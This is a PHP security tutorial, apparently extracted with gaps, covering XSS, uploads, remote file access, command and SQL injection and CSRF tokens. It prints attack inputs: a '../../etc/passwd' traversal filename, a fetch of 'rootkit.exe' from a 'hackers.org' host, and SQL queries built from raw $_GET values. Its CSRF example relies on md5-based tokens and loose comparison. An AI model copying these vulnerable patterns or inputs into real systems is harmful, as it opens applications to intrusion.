Securing PHP Applications Part I
Securing PHP Applications Part I
There are a lot of books treating this issue. So, why another post about this subject. Well,
here a try to cover this problem in a short way so that you don’t have to read hundreds of
pages or to search all over the Internet for this.
These being said, you must know that securing a PHP application is not an easy process,
as you may think and involves a lot of other things, not just your code.
The things you must take care when trying to secure a PHP application are:
1. Forms
2. URLs
3. Databases and SQL
4. Sessions and Cookies
5. Files and Includes (including file uploads)
6. Commands
7. Authentication and Authorization
8. Shared hosting
So, we are talking about securing our PHP code, about securing PHP on the server and
about securing Apache and MySQL.
Because the discussion about securing PHP code is a little bit longer, I’ve divided it into
two parts, the third is about securing Apache and MySQL.
Let’ s start with the PHP code. Here, the attack/attacks could be:
1. Cross- site scripting (XSS)
What is it?
This type of attack is one of the most common and known attacks and reflects a special
case of code injection. Is the result of sending unchecked, user- supplied data to a
browser. For example, a malicious user can create an account with this username,
claudia_helen
and every time someone clicks this username he will be redirected to this page, where the
evil user will get his/her sessionID and use it for his malicious purpose.
Also, your site design might be attacked if a user inserts a HTML portion like this one:
</div>
or
</table>
The reflected XSS attack is the most common type of attack and the easiest for the
malicious user, which places a link in a banner or a search result from a search engines
and makes the user clicks it. This way he can deliver a virus or a malformed cookie.
The stored XSS attack is the scary one because of its devastating results. This is the case
for the example presented above.
What is it?
This attack consists of uploading malicious files. For example, assume that you have an
application which allows users to upload photos and videos. A malicious user can upload
a photo containing some malicious code or even a virus that will read all your files from
the server or a user can send a bad name for a filename, like this “../../etc/passwd”.
Here I have to remind you about another problem concerning files: remote filesystem
access. For example you may want to read a file this way:
file_get_contents(“http://www.site.com/rss.xml”). Ok, but if someone hacks your
application and instead of a rss file he puts somethong like this:
file_get_contents(“http://www.site.com/index.php?file=http://hackers.org/rootkit.exe”).
The solution for that is to disable allow_url_fopen from php.ini, in other words to disable
the capability to access remote files. If you really need this directive enabled you have to
separate the process intro two distinct tasks, rather than accessing them directly:
- retrieve data
- process data
and for each of the above tasks you can create an API (a function to filter and validate the
URL/filename and the content from that URL) to handle it.
Another thing to take care is when using the exec() command with user input, for
example. That user input must be filtered and validated to protected the server from
command injections. In this case you can use escapeshellcmd() or escapeshellarg(),
depending on the context.
$sql = “SELECT *
FROM `orders`
WHERE id={$_GET[‘orderId’]}”;
or
$sql = “DELETE
FROM `orders`
WHERE id={$_GET[‘orderId’]}”;
How should I protect my application from it?
Well, here is relatively easy to prevent this things from happening. The method I use is
for example to add a userId verification before query the database for order information.
The solution for this type of attack is very connected with the context, but in this cases
you have to remember to distinguish proper user information like order, account
information, etc.
<?php
//you have to generate the token and put it in session
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
?>
<form action="buy.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p> Item:
<select name="item">
<option value="1">Lipstick</option>
<option value="2">Mirror</option>
</select><br />
Quantity: <input type="text" name="quantity" /><br />
<input type="submit" value="Buy" />
</p>
</form>
Then, you have to check the token from $_POST and compare it with the one from
session:
<?php
if (isset($_SESSION['token']) && $_POST['token'] ==
$_SESSION['token']){
/* Valid Token */
}
?>